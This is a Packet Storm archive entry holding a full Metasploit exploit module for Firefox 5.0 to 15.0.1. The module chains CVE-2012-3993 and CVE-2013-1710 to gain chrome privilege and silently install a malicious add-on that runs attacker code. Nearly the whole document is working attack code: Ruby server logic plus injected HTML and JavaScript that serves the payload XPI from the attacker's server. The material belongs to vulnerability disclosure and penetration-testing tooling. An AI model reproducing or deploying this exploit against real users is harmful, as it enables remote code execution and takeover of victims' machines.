Firefox 15.0.1 Code Execution

2013-12-23T00:00:00
ID PACKETSTORM:124564
Type packetstorm
Reporter metasploit.com
Modified 2013-12-23T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::FirefoxAddonGenerator  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',  
'Description' => %q{  
On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given  
invalid input, would throw an exception that did not have an __exposedProps__  
property set. By re-setting this property on the exception object's prototype,  
the chrome-based defineProperty method is made available.  
  
With the defineProperty method, functions belonging to window and document can be  
overriden with a function that gets called from chrome-privileged context. From here,  
another vulnerability in the crypto.generateCRMFRequest function is used to "peek"  
into the context's private scope. Since the window does not have a chrome:// URL,  
the insecure parts of Components.classes are not available, so instead the AddonManager  
API is invoked to silently install a malicious plugin.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Mariusz Mlynski', # discovered CVE-2012-3993  
'moz_bug_r_a4', # discovered CVE-2013-1710  
'joev' # metasploit module  
],  
'DisclosureDate' => "Aug 6 2013",  
'References' => [  
['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)  
['OSVDB', '86111'],  
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],  
['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)  
['OSVDB', '96019']  
],  
'BrowserRequirements' => {  
:source => 'script',  
:ua_name => HttpClients::FF,  
:ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }  
}  
))  
  
register_options([  
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )  
], self.class)  
end  
  
def on_request_exploit(cli, request, target_info)  
if request.uri.match(/\.xpi$/i)  
print_status("Sending the malicious addon")  
send_response(cli, generate_addon_xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })  
else  
print_status("Sending HTML")  
send_response_html(cli, generate_html(target_info))  
end  
end  
  
def generate_html(target_info)  
injection = if target_info[:ua_ver].to_i == 15  
"Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"  
else  
"p2.constructor.defineProperty(obj,key,{get:runme});"  
end  
  
%Q|  
<html>  
<body>  
#{datastore['CONTENT']}  
<div id='payload' style='display:none'>  
if (!window.done){  
window.AddonManager.getInstallForURL(  
'#{get_module_uri}/addon.xpi',  
function(install) { install.install() },  
'application/x-xpinstall'  
);  
window.done = true;  
}  
</div>  
<script>  
try{InstallTrigger.install(0)}catch(e){p=e;};  
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));  
p2.__exposedProps__={  
constructor:'rw',  
prototype:'rw',  
defineProperty:'rw',  
__exposedProps__:'rw'  
};  
var s = document.querySelector('#payload').innerHTML;  
var q = false;  
var register = function(obj,key) {  
var runme = function(){  
if (q) return;  
q = true;  
window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");  
};  
try {  
#{injection}  
} catch (e) {}  
};  
for (var i in window) register(window, i);  
for (var i in document) register(document, i);  
</script>  
</body>  
</html>  
|  
end  
end  
`